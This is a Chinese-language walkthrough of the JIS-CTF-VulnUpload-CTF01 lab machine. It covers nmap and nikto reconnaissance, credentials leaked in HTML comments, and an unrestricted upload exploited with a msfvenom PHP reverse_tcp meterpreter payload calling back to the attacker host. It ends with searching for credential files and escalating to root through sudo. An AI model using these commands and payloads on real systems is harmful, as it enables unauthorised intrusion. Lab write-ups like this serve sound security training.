靶机渗透训练——JIS-CTF-VulnUpload-CTF01
本章概述:这是一篇关于JIS-CTF-VulnUpload-CTF01靶机训练的文章
1、前提准备
靶机文件下载好之后,导入虚拟机。
不过这个靶机有点小问题,一开始网卡起不来,上网找了找解决方法。
解决方法:
1 | 账号口令 technawi - 3vilH@ksor |
另外需要一台攻击机,这里我用的是kali。
2、主机发现
一开始我们是不知道这个靶机的ip地址的,因此我们需要先对网段进行扫描
1 | nmap -sP 192.168.110.0/24 |
kali的ip是192.168.110.128,靶机的ip是192.168.110.130
3、端口扫描
存活端口扫描,他这里并没有做任何的限制,因此我们直接扫描就可以了
1 | nmap 192.168.110.130 |
有80 http以及22 ssh两个端口存活。
我们试着访问80端口
自动跳转到一个登陆页面,不知道账号密码,同时源码中也没有其他有用的信息。
4、目录扫描
一开始使用的是dirb工具来扫,但是扫完发现文件太多了。
因此后面使用另一个扫描工具扫——nikto
1 | nikto -h http://192.168.110.130 > nikto扫描结果.txt |
将扫描结果进行整理,有用的路径如下:
1 | http://192.168.110.130/admin_area |
在http://192.168.110.130/admin_area
源代码中发现如下信息:
1 | <!-- username : admin |
在http://192.168.110.130/flag
发现:
1 | The 1st flag is : {8734509128730458630012095} |
login.php
是一开始我们就看到的登录页面,uploaded_files
为空,暂时不知道这个文件是干嘛的。rebots.txt
记录了一些目录信息
到这里我们已经找到了两个flag
5、上传文件
上面目录扫描的时候,有发现账号密码,用这个账号密码登录后发现这是一个上传文件的页面。
我们试着上传一个文件,1.txt,并用bp抓包
更改数据包的一些信息,发现仍然可以上传成功,因此这里的上传点并没有做限制
用msfvenom生成php木马并上传上去。
1 | msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.110.128 lport=8888 -f raw -o z7sz.php |
用msfconsole去监听。
1 | msfconsole |
之后访问我们上传的木马就可以监听到了,这里有个问题就是我们并不知道上传的文件放在哪里,结合上面的目录扫描中有一个奇怪的目录uploaded_files
,试着访问http://192.168.110.130/uploaded_files/z7sz.php
,访问成功,说明上传的文件是放在uploaded_files
这个文件夹里面的。
反弹成功并拿到交互shell。
回到/var/www/html
目录发现有个flag.txt文件,但是没有权限去访问
访问hint.txt文件
1 | try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;) |
拿到第三个flag并且提示我们要找到technawi的密码才能查看flag.txt,改密码放在一个隐秘的地方。
寻找用户名为technawi并且我们有权限访问的文件。
1 | find / -user technawi |grep -v "Permission" >1.txt |
在credentials.txt
中发现第四个flag以及technawi的密码。
1 | The 4th flag is : {7845658974123568974185412} |
登录进该用户,查看flag.txt,拿到第五个flag
到这里整个靶机已经打完了,该用户还不是root用户,本着打到底的想法,提权到root用户,用sudo -l查看一下sudo的权限,结果发现该用户拥有完整的sudo权限,直接sudo su等到进root用户。
6、总结
这个靶机实际上是一个比较基础的靶机,针对的是文件上传漏洞,文件上传位置一定要控制好权限等问题。其他的也没什么可以说的。